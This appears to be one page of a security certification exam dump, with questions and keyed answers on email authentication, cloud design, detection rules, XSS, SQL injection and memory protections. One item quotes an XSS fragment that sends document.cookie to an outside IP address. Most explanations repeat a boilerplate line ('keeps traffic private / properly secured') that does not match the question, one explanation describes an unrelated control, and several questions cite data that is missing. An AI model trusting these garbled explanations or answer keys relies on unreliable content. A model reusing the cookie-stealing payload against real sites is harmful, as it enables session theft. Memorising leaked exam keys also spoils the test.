Page 15 of 20 · 393 total questions.
An engineer wants to automate several tasks by running commands daily on a UNIX server. The engineer has only built-in, default tools available. Which of the following should the engineer use to best assist with this effort? (Choose two.)
The correct answer is B, E. Option B: Cron Option E: Bash
A security engineer discovers that some legacy systems are still in use or were not properly decommissioned. After further investigation, the engineer identifies that an unknown and potentially malicious server is also sending emails on behalf of the company. The security engineer extracts the following data for review: Which of the following actions should the security engineer take next? (Choose two.)
The correct answer is B, D. Option B: Change the DMARC policy to reject and remove references to the server. Option D: Change the SPF record to enforce the hard fail parameter. This option keeps traffic private / properly secured as required.
An organization recently implemented a new email DLP solution. Emails sent from company email addresses to matching personal email addresses generated a large number of alerts, but the content of the emails did not include company data. The security team needs to reduce the number of emails sent without blocking all emails to common personal email services. Which of the following should the security team implement first?
The correct answer is B. Option B: Create an acceptable use policy. This option keeps traffic private / properly secured as required.
A systems administrator is working with clients to verify email-based services are performing properly. The administrator wants to have the email server digitally sign outbound emails using the organization's private key. Which of the following should the systems administrator configure?
The correct answer is B. Option B: DKIM This option keeps traffic private / properly secured as required.
During a forensic review of a cybersecurity incident, a security engineer collected a portion of the payload used by an attacker on a comprised web server. Given the following portion of the code: ..asd...document.location="https://10.10.1.2/?"x“+document.cookie; ..12..fa..<>...ash214%621...41..2...8.8. Which of the following best describes this incident?
The correct answer is C. Option C: Stored XSS This option keeps traffic private / properly secured as required.
A pharmaceutical lab hired a consultant to identify potential risks associated with Building 2, a new facility that is under construction. The consultant received the IT project plan, which includes the following VLAN design: Which of the following TTPs should the consultant recommend be addressed first?
The correct answer is A. Option A: Zone traversal
Previously intercepted communications must remain secure even if a current encryption key is compromised in the future. Which of the following best supports this requirement?
The correct answer is C. Option C: Forward secrecy This option keeps traffic private / properly secured as required.
A security engineer wants to stay up-to-date on new detections that are released on a regular basis. The engineer's organization uses multiple tools rather than one specific vendor security stack. Which of the following rule-based languages is the most appropriate to use as a baseline for detection rules with the multiple security tool setup?
The correct answer is A. Option A: Sigma This option keeps traffic private / properly secured as required.
A security engineer is developing a solution to meet the following requirements: • All endpoints should be able to establish telemetry with a SIEM. • All endpoints should be able to be integrated into the XDR platform. • SOC services should be able to monitor the XDR platform. Which of the following should the security engineer implement to meet the requirements? (Choose two.)
The correct answer is A, D. Option A: EDR Option D: Central logging
Explanation
Endpoint detection and response monitors endpoint activity and supports detection, containment, and investigation. This option keeps traffic private / properly secured as required.
A security engineer needs to create multiple servers in a company's private cloud. The servers should have a virtual network infrastructure that supports connectivity, as well as security configurations applied using predefined templates. Which of the following is the best option for the security engineer to consider for the deployment?
The correct answer is C. Option C: Using Terraform to implement an infrastructure as code model with the existing private cloud solution This option keeps traffic private / properly secured as required.
A company is planning to migrate all of its on-site-hosted applications to a public cloud provider. Which of the following is the best way to reduce the scope of security-relevant work that the company must address after the applications have been migrated to the cloud?
The correct answer is D. Option D: Implementing serverless cloud services This option keeps traffic private / properly secured as required.
A security analyst collects the logs from the web server that is associated with a security incident. The analyst finds the following entry in the logs: SELECT user FROM Customers WHERE userID = "SRequest(userID)" Which of the following will prevent this incident from reoccurring?
The correct answer is B. Option B: Query parameterization This option keeps traffic private / properly secured as required.
A security analyst discovers a compromised internal server and finds that the attack vector was an application. When extracting a memory dump with the application process content, the analyst observes the following: Which of the following solutions should the analyst recommend to best address this issue and avoid reoccurrence?
The correct answer is A. Option A: Implement address space layout randomization and canary stacks. This option keeps traffic private / properly secured as required.
A security engineer is assisting a DevOps team that has the following requirements for container images: • Ensure container images are hashed and use version controls. • Ensure container images are up to date and scanned for vulnerabilities. Which of the following should the security engineer do to meet these requirements?
The correct answer is B. Option B: Enable new security and quality checks within a CI/CD pipeline.
Explanation
CI/CD automates integration, testing, and deployment to deliver changes consistently and rapidly. This option keeps traffic private / properly secured as required.
A building camera is remotely accessed and disabled from the remote console application during off-hours. A security analyst reviews the following logs: Which of the following actions should the analyst take to best mitigate the threat?
The correct answer is C. Option C: Only allow connections from approved IPs.
Explanation
An intrusion prevention system detects and actively blocks malicious traffic inline. This option keeps traffic private / properly secured as required.
A company implements an AI model that handles sensitive and personally identifiable information. Which of the following threats is most likely the company's primary concern?
The correct answer is A. Option A: Unsecured output handling
A security architect is establishing requirements to design resilience in an enterprise system that will be extended to the company's other physical locations. The system must: • Be survivable to one environmental catastrophe. • Be recoverable within 24 hours of critical loss of availability. • Be resilient to active exploitation of one site-to-site VPN solution. Which of the following design components best meet these requirements while upholding security? (Choose two.)
The correct answer is B, E. Option B: Allocate fully redundant and geographically distributed standby sites. Option E: Deploy redundant identity provider solutions. By spanning multiple Availability Zones / adding redundancy, this option provides the high availability and resilience required.
An engineer is designing a wireless access solution that must comply with the IEEE-specified security requirements for the 802.1X protocol. The engineer wants to streamline access by removing the need to provide a WPA2 PSK and domain credentials each time for access. Which of the following actions best meet this requirement? (Choose two.)
The correct answer is A, C. Option A: Issuing client authentication certificates to devices Option C: Configuring RADIUS with EAP-TLS
Explanation
A certificate binds a public key to an identity through a trusted certificate authority. TLS protects data in transit with authenticated encryption between network endpoints. This option keeps traffic private / properly secured as required.
An organization must provide access to its internal system data. The organization requires that this access complies with the following: • Access must be automated. • Data confidentiality must be preserved. • Access must be authenticated. • Data must be preprocessed before it is retrieved. Which of the following actions should the organization take to meet these requirements?
The correct answer is C. Option C: Deploy an API gateway protected with access tokens.
Following a security incident, a company decides to improve its device management. The company establishes the following requirements for the new process: • EOL devices must be properly replaced in a timely manner. • Accurate, detailed information about the devices must be available in a centralized repository. Which of the following should the company do to meet these requirements? (Choose two.)
The correct answer is B, F. Option B: Implement an asset management life cycle. Option F: Maintain a configuration management database. This option keeps traffic private / properly secured as required.
Showing questions 281–300 of 393 · Page 15 of 20